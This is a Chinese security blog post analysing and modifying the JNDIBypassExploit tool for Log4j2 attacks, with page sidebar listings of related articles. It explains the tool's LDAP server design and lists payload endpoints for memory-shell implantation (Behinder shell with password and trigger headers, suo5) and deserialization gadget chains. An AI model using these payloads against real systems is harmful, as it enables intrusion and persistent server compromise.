[工具推荐]JNDI利用分析魔改

Log4j2漏洞实战:用Wireshark与Burp Suite抓包分析JNDI注入攻击链 JNDI注入是一种利用Java命名与目录接口进行攻击的技术,其核心原理是应用程序在未经验证的情况下,动态加载并执行远程代码。这种技术常被用于实现远程代码执行,对系统安全构成严重威胁,在Web应用、微服务等场景中尤为危险。本文以Log4j2漏洞为例,通过搭建靶场环境,演示如何利用Wireshark捕获网络层原始数据包,并结合Burp Suite拦截应用层HTTP请求,完整复现并分析一次JNDI注入攻击从发起到建立反向Shell的全过程。通过解析LDAP查询、恶意类文件下载等关键网络行为特征,读者可以掌握在真实 阅读详情

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本公众号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

实战中遇到log4j2漏洞,并且不出网,在内网另一台获得权限的主机上上传JNDIBypassExploit注入工具进行利用,在注入内存马的时候感觉不太方便,于是对该工具的代码进行学习,并进行改造。

分析

入口在Starter.java,Config.applyCmdArgs接受命令行的传参,LdapServer.start()开启ldap监听,HTTPServer.start()开启http监听。

重点看LdapServer.start(),开启ldap监听。

在构造函数LdapServer()中,使用Reflections库扫描@LdapMapping注解的控制器类, 并进行实例化,然后提取uri,将uri与控制器对象关联存储在routes中。

重写InMemoryOperationInterceptor的processSearchResult,用于拦截ldap查询请求,获取到ldap查询请求后,判断查询请求是否以前面存储在routes中的uri开头,如果不是则打印错误信息,然后return,如果是,则获取routes中uri对应的控制器对象,并调用其process和sendResult方法。

process方法用来获取传入的参数和打印信息。

sendResult方法用来构造响应数据并将响应发送给请求方。

新建

想要实现自定义的功能,只要新建一个@LdapMapping注解的Controller,并设置一个uri,重写process方法和sendResult方法即可,例如:

新建一个类,并实现LdapController接口,并重写sendResult和process接口。

添加@LdapMapping注解,并设置uri,这里为example。

在process方法中设置参数、输出信息,在sendResult方法中构造响应数据,这里是cc6的序列化数据,执行calc命令。

启动ldap服务端,发起ldap查询ldap://0.0.0.0:1389/example。

改造

加入suo5内存马,加入更多的反序列化利用链,以及反序列化gadget探测,目前payload比较少,考虑后面慢慢完善。

## tomcat el表达式
ldap://127.0.0.1:1389/tmel/echo     #添加请求头 Etags: d2hvYW1p
ldap://127.0.0.1:1389/tmel/mem      #冰蝎连接,密码 p@ss01,添加请求头 Dtags:www
ldap://127.0.0.1:1389/tmel/suo5     #请求头User-Agent中添加Tnrpvdmva
## 反序列化
ldap://127.0.0.1:1389/deser/check/all/{dnslog}
ldap://127.0.0.1:1389/deser/urldns/{dnslog}
ldap://127.0.0.1:1389/deser/cc2/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/cc6/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/cb/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/hib/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/jackson/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/rome/{echo|mem|suo5}

tomcat el表达式:

反序列化探测gadget:

反序列化利用链:

最后

本文内容仅为本人学习jndi利用工具所产出,工具可加入星球获取。

参考

Log4j2漏洞实战:从JNDI注入到反弹Shell的完整武器化路径 在Java应用安全领域,远程代码执行漏洞是最高危的威胁之一,其核心原理在于攻击者能够通过特定输入,诱导应用执行非预期的系统命令或代码。JNDI注入作为一种经典的攻击技术,通过利用Java命名和目录接口的动态查找机制,结合LDAP或RMI等协议,实现了从外部资源加载并执行恶意类的攻击路径,其技术价值在于能够绕过传统的输入过滤,直接威胁应用服务器安全。这种漏洞的典型应用场景广泛存在于使用老旧组件或配置不当的Web服务、微服务架构中。本文聚焦于轰动业界的Log4j2漏洞,深入剖析如何将JNDI注入这一通用技术,在 阅读详情

相关推荐

FastJson漏洞实战:从版本探测到JNDI注入绕过WAF(附Docker靶场)

本文深入解析FastJson反序列化漏洞的实战利用路径。通过Docker靶场演示,从黑盒版本探测开始,详细介绍了利用JNDI注入获取权限的方法,并重点探讨了如何利用FastJson的Unicode编码等特性,有效绕过WAF的检测规则,为安全研究人员提供了一套完整的攻防实战思路。

weixin_29323365的博客 243

第20篇:改造冰蝎客户端适配JNDIExploit的内存马

Part1 前言JNDIExploit是一款常用的用于JNDI注入利用的工具,其大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于JNDI反序列化漏洞的利用,可直接对出网情况下的JNDI进行回显。JNDIExploit这款工具注入的冰蝎内存马是经过改造后的冰蝎,网上并没有改造好的与之适配的冰蝎客户端放出来,原版...

ABC_123的技术博客 3297

FastJson反序列化与JNDI注入组合攻击原理与防御实战

在Java应用安全领域,反序列化漏洞是常见的高危风险点,其原理在于应用将不可信的数据流还原为对象时,可能意外执行恶意代码链。JNDI注入则利用了Java命名与目录接口的动态类加载机制,当lookup方法的参数可控时,可能从远程服务器加载并执行恶意类。这两种技术的结合,形成了极具威胁的攻击模式,攻击者通过构造特定的JSON数据触发反序列化过程,进而利用JNDI实现远程代码执行,常被自动化安全扫描工具用于大规模漏洞探测。本文聚焦于FastJson反序列化漏洞与JNDI注入的组合利用场景,深入剖析其攻击链路,并从

weixin_30709061的博客 411

24、25-反序列化漏洞(JBoss、apache log4、apache Shiro、JWT)Weblogic未授权访问、代码执行、任意上传

serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。 CVE-2021-2109Weblogic Server远程代码执行。apache log4j (Java日志记录库)

XLbb的博客 2710

Java安全审计:JNDI注入原理、挖掘与修复实战指南

JNDI作为Java命名和目录接口,其核心原理是为应用程序提供统一的API来访问多种命名和目录服务,如LDAP、DNS和RMI。在动态类加载机制的支持下,JNDI允许运行时从指定位置加载类,这一特性在带来灵活性的同时,也引入了安全风险。当用户输入未经严格校验直接传递给JNDI的lookup方法时,攻击者可通过控制查找路径,诱使应用访问恶意目录服务,进而触发远程类加载与代码执行,实现从数据输入到代码执行的跨越。这种漏洞的技术价值在于其危害性极大,常导致服务器被完全接管,因此在企业级应用安全中占据关键地位。应用

weixin_33691700的博客 405

JNDIExploit:用于JNDI注入攻击的恶意LDAP服务器

JNDI漏洞利用 一款用作JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接插入植入内存shell ,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。 使用说明 使用java -jar JNDIExploit.jar -h查看参数说明,其中--ip参数为必选参数 Usage: java -jar JNDIExploit.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false)

从druid一路杀到云控制台

在挖某家SRC的时候,通过域名历史解析找到一个IP,然后通过各种问题组合接管云控制台,最后告知打歪了,今天分享一波。有点标题党了,这个流程实际上也不是很难.

Websec 361

JNDIExploit-1.2-SNAPSHOT

JNDIExploit-1.2-SNAPSHOT

Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

与实际区别。

Love&Share 3236

(C#脚本)Unity中角色移动的几种实现方法,以及心得。(适合新手入门)

PS:首先我们要知道,在C#中Transform组件是可以直接调用的,而其他的(例如:Rigidbody,Animator)都需要通过 GetConpoment<组件的名称>(); 来获取进行实例化。 例子:调用Rigidbody2D private Rigidbody2D rb2D;//声明变量实例化 void Start() { rb2d = GetComponent<Rigidbody2D>();//获取 } 1.对Unity脚本写入有一定的思维了解...

qq_48860282的博客 1万+

FMCW毫米波雷达原理一

1、简介 毫米波雷达的优点是角分辨率高、频带宽因而有利于采用脉冲压缩技术、多普勒颇移大和系统的体积小。目前笔者接触到的有24G毫米波雷达和77G毫米波雷达。 24G毫米波雷达主要应用在交通领域的测距和车辆测速,在其他领域也有使用24G毫米波雷达。 77G毫米波雷达主要应用在无人驾驶,汽车周围的目标检测等领域。 在首次接触雷达时,一头雾水。搞不清一个chirp的时域图和频域图的关系、中频信号以及其他名词的基本概念。在TI培训官网上看到一些毫米波雷达原理的视频才豁然开朗。TI培训官网毫米波传感介绍 本文主要是通

擎天柱工坊 8144

DNSlog

什么是DNSlog DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名的访问信息,类似日志文件。 原理 payload放到目标网址(也就是dnslog的域名)的子域名处,让存在漏洞的地方去解析,由于解析了域名,发起DNS请求,DNS在解析的时候会留下日志,这些日志会反弹到dnslog的平台上,通过读取这些解析的日志,来获取信息。 使用方法 通过Burp Suite 通过在线平台 http://www.dnslog.cn/ http://ceye.io/ 利用场景 执行命令时没

遇事不决冲冲冲 1万+

2023-10-20 - MacBook - 优化外接2k显示器体验:告别字小与字虚的终极指南

本文针对MacBook外接2K显示器时普遍遇到的字体过小和边缘发虚问题,提供了终极解决方案。通过深入解析macOS的HiDPI与Retina显示原理,并详细指导使用SwitchResX等工具开启隐藏的HiDPI模式,实现完美的2倍整数缩放,从而在保证字体大小合适的同时获得清晰锐利的显示效果,彻底告别字小与字虚的困扰。

solidity8miner的博客 476

频频闯祸的 JNDI,到底是个什么 垃圾 玩意儿?

原创:小姐姐味道(微信公众号ID:xjjdog),欢迎分享,转载请保留出处。每次规模比较大的漏洞,JNDI好像都不会缺席。最近人尽皆知的Log4j2漏洞也和它有关,让人 不由得怀疑,是不是作者开的后门。因为JNDI这个玩意,别说用过,很多人连听都没听说过。这么冷门酸爽的东西,有什么理由把它放在一个日志框架里呢?恐怕只有作者想得通。

qq_53058639的博客 1836

K8s认证文件丢失的应急处理与恢复策略

本文详细介绍了Kubernetes(K8s)认证文件丢失时的应急处理与恢复策略。从快速诊断问题范围到不同场景的临时解决方案,再到深度恢复方案(无损重建、部分重置、完全重建),提供了全面的操作指南。同时强调了生产环境中的防丢失设计、高可用集群的特殊处理以及日常运维建议,帮助运维人员有效应对认证文件丢失的紧急情况。

weixin_33743248的博客 327

PCI Express 权威指南:从协议原理到芯片实现

目录 全文总览第一部分:PCIe体系结构概览第1章 互连技术的演进与PCIe的诞生1.1 从ISA到PCI:并行总线的辉煌与瓶颈1.2 PCI-X的尝试与局限1.3 串行革命:从AGP、PCI到PCIe的范式转移1.4 PCIe的核心优势第2章 PCIe系统全局视角2.1 系统拓扑:Root Complex, Switch, Endpoint的职能与关系2.2 拓扑结构实例:服务器、工作站、嵌入式系统2.3 枚举与配置:系统如何发现和组织PCIe设备2.4 地址空间第3章 PCIe协议分层架构3.1 分层模

qq_42882296的博客 2894

FastJson反序列化漏洞实战:利用JNDI注入实现远程命令执行

本文深入分析了FastJson反序列化漏洞(CVE-2017-18349)的利用方法,重点讲解了如何通过JNDI注入实现远程命令执行。文章从漏洞背景、环境搭建到实战反弹Shell操作,提供了详细的步骤和防御方案,帮助安全研究人员理解并防范此类高危漏洞。

weixin_42522953的博客 430

学Simulink--复杂路况场景实例:基于Simulink的智能车辆高速公路行驶仿真(超车与车道变换)

本文详细介绍了基于Simulink的智能车辆高速公路超车仿真系统设计方法。系统包含多车道交通流建模、三层超车决策逻辑(触发条件、可行性检查、执行许可)、五次多项式变道轨迹规划以及横向纵向协同控制等核心模块。通过设定三车道场景(自车初始速度100km/h,前方慢车72km/h),演示了如何实现安全高效的左变道超车全过程(5秒完成3.75m横向移动),并验证了变道平滑性(最大横向加速度1.8m/s²)和安全距离(最小TTC 5.2s)。文章还强调了传感器融合的必要性,并提供了从交通流生成到控制器设计的完整Sim

xiaoheshang_123的博客 397

jndi fastjson学习

本质关系:Fastjson 不主动支持 JNDI,只是它的反序列化流程(实例化类 + 调用 setter),触发了某些 Java 类(如)自带的 JNDI 逻辑;漏洞根源:早期 Fastjson 对@type没有限制(允许指定危险类),对 setter 方法的 “副作用” 没有拦截,导致攻击者能通过恶意 JSON 诱导它触发危险的 JNDI 注入;后续修复。

hzb66666的博客 843

Trae的付费之路还挺艰难,茫茫多的人想付付不了(附解决办法)

不得不说,Trae国际版这个付费其实整的挺复杂的,但没办法,毕竟有政策限制,付费成功后,你就是尊贵的Pro用户啦,使用Claude 4不排队还是挺爽的,而且600次其实不算少了,有一个小技巧,简单的问题就把模型切到Gemini-2.5-flag,因为使用这个模型是没有次数限制的。其次付费的时候有个ZIP Code,这东西也是个迷之存在,有的地区节点需要填,有的不需要,如果你选到了不需要填的节点,那很好,付费就行了,如果需要填,可以填一个51800试试。

cpp加油站的专栏 5880

零差云控 ZeroErr eRob 电机 CAN、CANopen、EtherCAT、ROS2 机器人开发详细教程

TwinCAT 3(Windows 控制与自动化技术)是 Beckhoff 提供的开发平台,可将任何兼容 PC 转变为实时控制系统,用于管理各种类型的工业自动化系统,如 PLC(可编程逻辑控制器)、运动控制、机器人等。

机器人控制与仿真应用 1万+

Java安全深度解析:JNDI注入防御与实战加固指南

JNDI(Java命名和目录接口)是Java EE中用于统一访问命名和目录服务的核心API,其核心原理是通过服务提供者接口(SPI)实现对RMI、LDAP等资源的透明查找。然而,当应用程序动态加载外部资源时,若lookup()参数未经验证,攻击者可能通过控制URL参数,诱导应用连接恶意服务并加载有害类或触发反序列化,从而引发远程代码执行(RCE)风险。这一机制在Log4Shell事件后广受关注,凸显了其在企业级应用中的持续威胁。从技术价值看,理解JNDI注入的攻防演变有助于构建纵深防御体系,尤其在微服务与云

weixin_33912453的博客 323

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Log4j2漏洞实战复现:从JNDI注入到远程代码执行

在软件开发中,日志记录是追踪应用状态、排查问题的核心机制。其原理是通过预定义的接口,将程序运行信息输出到指定位置。然而,当日志框架的动态查找功能与Java的JNDI服务不当结合时,便可能引发严重的安全风险。JNDI作为Java命名和目录接口,本意是提供统一的资源访问方式,但在特定条件下,它可能成为远程代码加载的通道,从而构成远程代码执行漏洞。这类漏洞的技术价值在于揭示了供应链安全和深度防御的重要性,其应用场景广泛存在于任何使用受影响组件的Web服务、企业应用中。本文聚焦于CVE-2021-44228这一典型

weixin_29314405的博客 326

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

上一篇: [漏洞分析]某远OA后台表单导入任意文件写入漏洞
下一篇: [代码审计]宏*HCM最新文件上传漏洞分析复现
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值